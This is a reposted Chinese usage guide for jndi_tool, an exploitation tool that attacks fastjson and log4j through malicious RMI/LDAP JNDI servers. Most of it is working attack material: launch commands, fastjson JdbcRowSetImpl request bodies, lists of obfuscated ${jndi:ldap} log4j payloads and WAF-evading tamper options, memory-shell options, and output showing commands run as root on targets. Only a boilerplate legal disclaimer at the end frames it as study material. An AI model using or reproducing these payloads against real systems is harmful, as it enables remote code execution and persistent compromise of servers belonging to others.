JNDI服务利用工具 RMI/LDAP，支持内存马、高版本JDK下利用等，fastjson/log4j rce漏洞检测辅助工具

01

工具介绍

JNDI服务利用工具 RMI/LDAP，支持部分场景回显、内存shell，高版本JDK场景下利用等，fastjson rce命令执行，log4j rce命令执行 漏洞检测辅助工具

02

工具使用及下载

工具下载

download_url : https://share.feijipan.com/s/RDAurTULhttps://github.com/wyzxxz/jndi_tool

工具使用

> java -jar jndi_tool.jar Usage:jndi_http:java -cp jndi_tool.jar jndi.HRMIServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn" java -cp jndi_tool.jar jndi.HLDAPServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn"rmi_high_jdk:java -cp jndi_tool.jar jndi.EvilRMIServer 8888 1099 "curl dnslog.wyzxxz.cn" el-win/el-linux/groovyldap_normal:java -cp jndi_tool.jar jndi.LDAPRefServer 1099 host=127.0.0.1ldap_auto:java -cp jndi_tool.jar jndi.LDAPRefServerAuto 127.0.0.1 1099 80 file=filename (param_format: __JNDI__)fastjson:java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 1099 file=filename tamper=tohex chunk=onjava -cp jndi_tool.jar jndi.fastjson.BCELEncode "curl dnslog.wyzxxz.cn"java -cp jndi_tool.jar jndi.fastjson.Tamper "{\"abc\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/Object\",\"autoCommit\":true}}" log4j:java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j 127.0.0.1 80 "whoami" http://target w=tomcat/groory/http  default:httpjava -cp jndi_tool.jar jndi.log4j.Tamper "${jndi:ldap://127.0.0.1/a}" all=true random=truejava -cp jndi_tool.jar jndi.log4j.Log4j 127.0.0.1 80 url=http://xx.xx or urls=1.txt thread=10    log4j检测，建议用 0 或者 4 的payload ,相对通用一些新增的 jndi.LDAPRefServerAuto 示例> cat request1.txtGET /${jndi:__JNDI__} HTTP/1.1Host: xx.xx.xx.xxAccept: \${jndi:__JNDI__}> java -cp jndi_tool.jar jndi.LDAPRefServerAuto xx.xx.xx.xx 1099 80 file=request1.txtor> java -cp jndi_tool.jar jndi.LDAPRefServerAuto xx.xx.xx.xx 1099 80 url="http://xx.xx.xx/\${jndi:__JNDI__}" headers="Accept: \${jndi:__JNDI__}"[-] url: http://xx.xx.xx/${jndi:__JNDI__}[-] process headers: {Accept=${jndi:__JNDI__}}[-] use: ldap://xx.xx.xx:1099/JNDIObject[-] url: http://xx.xx.xx/${jndi:ldap://xx.xx.xx:1099/JNDIObject}[-] LDAP Listening on xx.xx.xx:1099[-] get request delay time, waiting...[-] use waiting time: 1000[-] checking CommonsBeanutils2[-] checking CommonsCollections8[-] checking CommonsCollections10[-] checking CommonsCollectionsK1[-] checking CommonsCollectionsK2[-] checking CommonsCollectionsK3[-] checking CommonsCollectionsK4[-] checking CommonsBeanutils1[*] find: CommonsBeanutils1 can be use[-] checking CommonsCollections1[-] checking CommonsCollections2[-] checking CommonsCollections3[-] checking CommonsCollections5[-] checking CommonsCollections6[-] checking CommonsCollections7[-] checking CommonsCollections9[-] checking Groovy1[-] checking JSON1[*] find: JSON1 can be use[-] checking Jdk7u21[-] checking Spring1[-] checking Spring2[-] checking elwaiting ...retrying ...[*] find: el can be use0. CommonsBeanutils11. JSON12. el[-] please choose gadget, enter q or quit to quit,> 0* example: curl x.xx , bash=curl `whoami`.x.xx[-] please enter command, enter q or quit to quit,> curl x.dnslog[-] please enter command, enter q or quit to quit,> back0. CommonsBeanutils11. JSON12. el[-] please choose gadget, enter q or quit to quit,> 2* example: curl x.xx , bash=curl `whoami`.x.xx[-] please enter command, enter q or quit to quit,> curl x.dnslog[-] please enter command, enter q or quit to quit,> q===================================================================================================[root@ /]# java -cp jndi_tool.jar jndi.HRMIServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn"[-] Opening JRMP listener on 80[-] Have connection from /xx.xx.xx.xx:33543[-] Reading message...[-] Is RMI.lookup call for Exploit 2[-] Sending remote classloading stub targeting http://xx.xx.xx.xx:80/Object.class[-] Closing connection[*] Have connection from /xx.xx.xx.xx:33544 /Object.class[-] remote target jdk version: java/1.7.0_79, use payload version: jdk7[-] send payload done and exit.[root@ /]# java -cp jndi_tool.jar jndi.HLDAPServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn"[-] LDAP Listening on 0.0.0.0:80[*] Send LDAP reference result for Exploit redirecting to http://xx.xx.xx.xx:80/Object.class[*] Have connection from /xx.xx.xx.xx:33548 /Object.class[-] remote target jdk version: java/1.7.0_79, use payload version: jdk7[-] remote target jdk version: java/1.7.0_79, use payload version: jdk7[-] send payload done and exit.===================================================================================================rmi:1. 启动RMI服务，后面写要执行的语句java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "curl dnslog.wyzxxz.cn"2. 发送请求包POST /test HTTP/1.1Host: 127.0.0.1Content-Type: application/jsonAccept-Encoding: gzip, deflateConnection: closeAccept: */*User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X){"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}3. 查看日志是否curl成功===================================================================================================ldap:1. 启动LDAP服务，后面写要执行的语句java -cp jndi_tool.jar jndi.HLDAPServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn"2. 发送请求包POST /test HTTP/1.1Host: 127.0.0.1Content-Type: application/jsonAccept-Encoding: gzip, deflateConnection: closeAccept: */*User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X){"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:80/Object","autoCommit":true}3. 查看日志是否执行成功===================================================================================================ldap:1. 启动LDAP服务，后面写要执行的语句> java -cp jndi_tool.jar jndi.LDAPRefServer 1099 host="0.0.0.0"[-] Payloads: CommonsBeanutils1-2,CommonsCollections1-10,CommonsCollectionsK1-4,Groovy1,Clojure,JSON1,Spring1-2,URLDNS,file,tomcat,groovy[-] etc: ldap://0.0.0.0:1099/CommonsBeanutils1/curl x.cn[-] etc: ldap://0.0.0.0:1099/CommonsCollections1/bash=ping x.cn # bash=后面的命令会自动进行base64编码，支持base=,python=,powershell=,perl=[-] etc: ldap://0.0.0.0:1099/URLDNS/x.cn[-] etc: ldap://0.0.0.0:1099/file/base64data_filename[-] etc: ldap://0.0.0.0:1099/el/whomai[-] etc: ldap://0.0.0.0:1099/groovy/whomai[-] etc: ldap://0.0.0.0:1099/mlet/http://xx.xx[-] etc: ldap://0.0.0.0:1099/groovyload/http://xx.xx[-] etc: ldap://0.0.0.0:1099/snakeyaml/http://xx.xx/x.jar[-] etc: ldap://0.0.0.0:1099/xstream/curl x.dns[-] etc: ldap://0.0.0.0:1099/mvel/whoami[-] etc: ldap://0.0.0.0:1099/loadlib//tmp/nativeLib_name[-] etc: ldap://0.0.0.0:1099/tomcatxxe/http://xx.xx/xxe.xmljdbc:[-] etc: ldap://0.0.0.0:1099/tomcatdbcp/whoami[-] etc: ldap://0.0.0.0:1099/tomcatdbcp2/whoami[-] etc: ldap://0.0.0.0:1099/commondbcp/whoami[-] etc: ldap://0.0.0.0:1099/commondbcp2/whoami[-] etc: ldap://0.0.0.0:1099/tomcatjdbc/whoami[-] etc: ldap://0.0.0.0:1099/druidjdbc/whoami2. 发送请求包POST /test HTTP/1.1Host: 127.0.0.1Content-Type: application/jsonAccept-Encoding: gzip, deflateConnection: closeAccept: */*User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X){"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:1099/CommonsCollections1/curl x.com","autoCommit":true}3. 查看日志是否执行成功===================================================================================================fastjson:> java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 1099 file=filenamefilename为请求包，需要插入fastjson攻击语句的地方，用__PAYLOAD__代替。示例：POST /fastjson_demo HTTP/1.1Host: xx.xx.xx.xxConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.16 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Content-Type: application/jsonContent-Length: 165__PAYLOAD__> java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 8088 file=req chunk=on[-] Chunked coding ON[-] target: https://xx.xx.xx.xx/fastjson_demo[-] Payload list:0. {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}1. {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}}[-] [-] please chosse payload, or input payload like payload={......}  chunk=on / chunk=off> 1[-] url: https://xx.xx.xx.xx/fastjson_demo[-] post_data: {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}}[-] LDAP Listening on 127.0.0.1:8088[-] checking CommonsBeanutils1[*] find: CommonsBeanutils1 can be use[*] CHECK ECHO.[-] ECHO FIND.[-] please enter command, enter q or quit to quit, tomcatshell or springshell get memshell, chunk=on / chunk=off> iduid=0(root) gid=0(root) groups=0(root)[-] please enter command, enter q or quit to quit, tomcatshell or springshell get memshell, chunk=on / chunk=off> q[-] quit> fastjson.Tamper : fastjson的一些特性，可以绕一些WAF[-] tamper list:tohextounicodetohexunicodetourlencoderandomhexrandomunicodeaddisaddcommentaddmorecommentaddcommasaddrandomxadd-add_addsize       填充内容tamper支持多个，但有些不能一起用，多个注意使用的先后顺序，例如 tohex,addcomment===================================================================================================log4j> java -cp jndi_tool.jar jndi.log4j.Log4j vps_ip 8099 url=http://xx.xx.xx[-] LDAP Listening on 0.0.0.0:800. ${jndi:ldap://********/xobject}1. ${jndi:ldap://127.0.0.1#********/xobject}2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://********/xobject}3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://********/xobject}4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject}5. ${${spH::-j}${Gdt:zhN:-n}${YCJe::-d}${t:bbru:-i}:${irS:LbN:-l}${m:vjW:-d}${UFd:VVf:-a}${W::-p}://********/xobject}6. ${${bQjc::cQT:-j}${fQLP:NAJR:-n}${Ko:c:G:lbhy:-d}${:GXH::Sd:-i}:${MEU:TXgc:VRc:-l}${A:eMJA:qA:kNXt:-d}${:W::-a}${JbuH:Pbq:IDW:-p}://********/xobject}7. ${${lower:${lower:${lower:j}}}${lower:${lower:n}}${lower:d}${lower:i}:${lower:${lower:l}}${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:${lower:a}}}}}${lower:${lower:p}}://********/xobject}8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:${upper:d}}}}}${upper:${upper:i}}:${upper:${upper:${upper:l}}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:${upper:p}}}}://********/xobject}9. ${${upper:${upper:${lower:j}}}${upper:${lower:n}}${lower:${upper:${lower:d}}}${upper:${lower:i}}:${upper:l}${upper:${upper:d}}${lower:${upper:a}}${upper:${lower:${lower:p}}}://********/xobject}[-] please chosse payload, or input payload like payload=${......}> 4[-] payload: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://****/xobject}> threads: 1> url count: 1[-] start exploit. waiting...>> target is vul: http://xx.xx.xx[-] waiting exit...[-] exit.> java -cp jndi_tool.jar jndi.log4j.Log4j vps_ip 8099 urls=1.txt[-] LDAP Listening on 0.0.0.0:800. ${jndi:ldap://********/xobject}1. ${jndi:ldap://127.0.0.1#********/xobject}2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://********/xobject}3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://********/xobject}4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject}5. ${${spH::-j}${Gdt:zhN:-n}${YCJe::-d}${t:bbru:-i}:${irS:LbN:-l}${m:vjW:-d}${UFd:VVf:-a}${W::-p}://********/xobject}6. ${${bQjc::cQT:-j}${fQLP:NAJR:-n}${Ko:c:G:lbhy:-d}${:GXH::Sd:-i}:${MEU:TXgc:VRc:-l}${A:eMJA:qA:kNXt:-d}${:W::-a}${JbuH:Pbq:IDW:-p}://********/xobject}7. ${${lower:${lower:${lower:j}}}${lower:${lower:n}}${lower:d}${lower:i}:${lower:${lower:l}}${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:${lower:a}}}}}${lower:${lower:p}}://********/xobject}8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:${upper:d}}}}}${upper:${upper:i}}:${upper:${upper:${upper:l}}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:${upper:p}}}}://********/xobject}9. ${${upper:${upper:${lower:j}}}${upper:${lower:n}}${lower:${upper:${lower:d}}}${upper:${lower:i}}:${upper:l}${upper:${upper:d}}${lower:${upper:a}}${upper:${lower:${lower:p}}}://********/xobject}[-] please chosse payload, or input payload like payload=${......}> 4[-] payload: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject}> threads: 2> url count: 2[-] start exploit. waiting...>> target is vul: http://xx.xx.xx>> target is vul: http://xx.xx.xx[-] waiting exit...[-] exit.> java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j xx.xx.xx.xx 8088 "whoami" http://xx.xx.xx:8080/[-] LDAP Listening on 0.0.0.0:80880. ${jndi:ldap://127.0.0.1:8088/xobject}1. ${jndi:ldap://127.0.0.1#127.0.0.1:8088/xobject}2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://127.0.0.1:8088/xobject}3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:8088/xobject}4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:8088/xobject}5. ${${kXqh:pJ:-j}${FAvg:PfJU:-n}${DMCK:qO:-d}${::-i}:${z:Aq:-l}${:XT:-d}${cFEq::-a}${DfP:dpH:-p}://127.0.0.1:8088/xobject}6. ${${RkL:kdx:x:Ta:vT:zMy:-j}${:CFf:yI:-n}${:CR:LqeF::-d}${EY:LgWR:Y:lao:-i}:${Y:D:-l}${HSh:lK:C:-d}${UIyH:ppxT:-a}${cNi:gxB:z:-p}://127.0.0.1:8088/xobject}7. ${${lower:${lower:j}}${lower:${lower:${lower:n}}}${lower:${lower:d}}${lower:${lower:i}}:${lower:l}${lower:${lower:${lower:${lower:d}}}}${lower:${lower:${lower:a}}}${lower:${lower:p}}://127.0.0.1:8088/xobject}8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:d}}}}${upper:${upper:i}}:${upper:${upper:l}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:p}}}://127.0.0.1:8088/xobject}9. ${${upper:${upper:${upper:j}}}${upper:n}${lower:${upper:${lower:${lower:d}}}}${upper:${lower:${lower:i}}}:${upper:${lower:l}}${upper:${lower:d}}${lower:a}${lower:${upper:${lower:p}}}://127.0.0.1:8088/xobject}[-] please chosse payload, or input payload like payload=${......}> 0[-] payload: ${jndi:ldap://127.0.0.1:8088/xobject}[-] start exploit. waiting...[-] remote target jdk version: java/1.8.0_131, use payload version: jdk8[-] send payload done[-] waiting result...result:root> java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j xx.xx.xx.xx 8088 "whoami" http://xx.xx.xx:8080/ w=tomcat  // 高版本jdk的绕过，依赖el[-] LDAP Listening on 0.0.0.0:80880. ${jndi:ldap://127.0.0.1:8088/xobject}1. ${jndi:ldap://127.0.0.1#127.0.0.1:8088/xobject}2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://127.0.0.1:8088/xobject}3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:8088/xobject}4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:8088/xobject}5. ${${kXqh:pJ:-j}${FAvg:PfJU:-n}${DMCK:qO:-d}${::-i}:${z:Aq:-l}${:XT:-d}${cFEq::-a}${DfP:dpH:-p}://127.0.0.1:8088/xobject}6. ${${RkL:kdx:x:Ta:vT:zMy:-j}${:CFf:yI:-n}${:CR:LqeF::-d}${EY:LgWR:Y:lao:-i}:${Y:D:-l}${HSh:lK:C:-d}${UIyH:ppxT:-a}${cNi:gxB:z:-p}://127.0.0.1:8088/xobject}7. ${${lower:${lower:j}}${lower:${lower:${lower:n}}}${lower:${lower:d}}${lower:${lower:i}}:${lower:l}${lower:${lower:${lower:${lower:d}}}}${lower:${lower:${lower:a}}}${lower:${lower:p}}://127.0.0.1:8088/xobject}8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:d}}}}${upper:${upper:i}}:${upper:${upper:l}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:p}}}://127.0.0.1:8088/xobject}9. ${${upper:${upper:${upper:j}}}${upper:n}${lower:${upper:${lower:${lower:d}}}}${upper:${lower:${lower:i}}}:${upper:${lower:l}}${upper:${lower:d}}${lower:a}${lower:${upper:${lower:p}}}://127.0.0.1:8088/xobject}[-] please chosse payload, or input payload like payload=${......}> 0[-] payload: ${jndi:ldap://127.0.0.1:8088/xobject}[-] start exploit. waiting...[-] input class: tomcat, command: curl xx.xx.xx[*] Send data...[-] exit.> java -cp jndi_tool.jar jndi.log4j.Tamper "\${jndi:ldap://127.0.0.1/a}" random=true[-] process all string is: False[-] random process string is: True--------------------------------------------------${jndi:ldap://127.0.0.1/a}${j${upper:n}d${upper:i}:l${upper:d}${upper:a}p://127.0.0.1/a}${j${upper:n}d${upper:${upper:i}}:l${upper:d}${upper:a}p://127.0.0.1/a}${j${lower:n}d${lower:i}:l${lower:d}${lower:a}p://127.0.0.1/a}${j${::-n}d${::-i}:l${::-d}${::-a}p://127.0.0.1/a}${j${Omhc:qBz:-n}d${b:Hz:-i}:l${vX::-d}${puF:A:-a}p://127.0.0.1/a}${j${Ez:mk:cHK:Xwn::-n}d${TXjk:LN:vBjQ::-i}:l${Nz:Of:bfDt:AgIH:-d}${TDN:SchK:uWu::-a}p://127.0.0.1/a}${j${lower:${lower:n}}d${lower:${lower:${lower:${lower:i}}}}:l${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:a}}}}p://127.0.0.1/a}${j${upper:${upper:${upper:n}}}d${upper:${upper:${upper:${upper:i}}}}:l${upper:${upper:d}}${upper:${upper:a}}p://127.0.0.1/a}${j${lower:${lower:${lower:${lower:n}}}}d${upper:${lower:${upper:i}}}:l${lower:d}${upper:${upper:${lower:a}}}p://127.0.0.1/a}* JNDI在高版本的JDK下的利用，综合了 （乌云最帅 没有之一）浅蓝 老板的姿势，很赞*

文章来源：夜组安全

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！

如侵权请私聊我们删文

END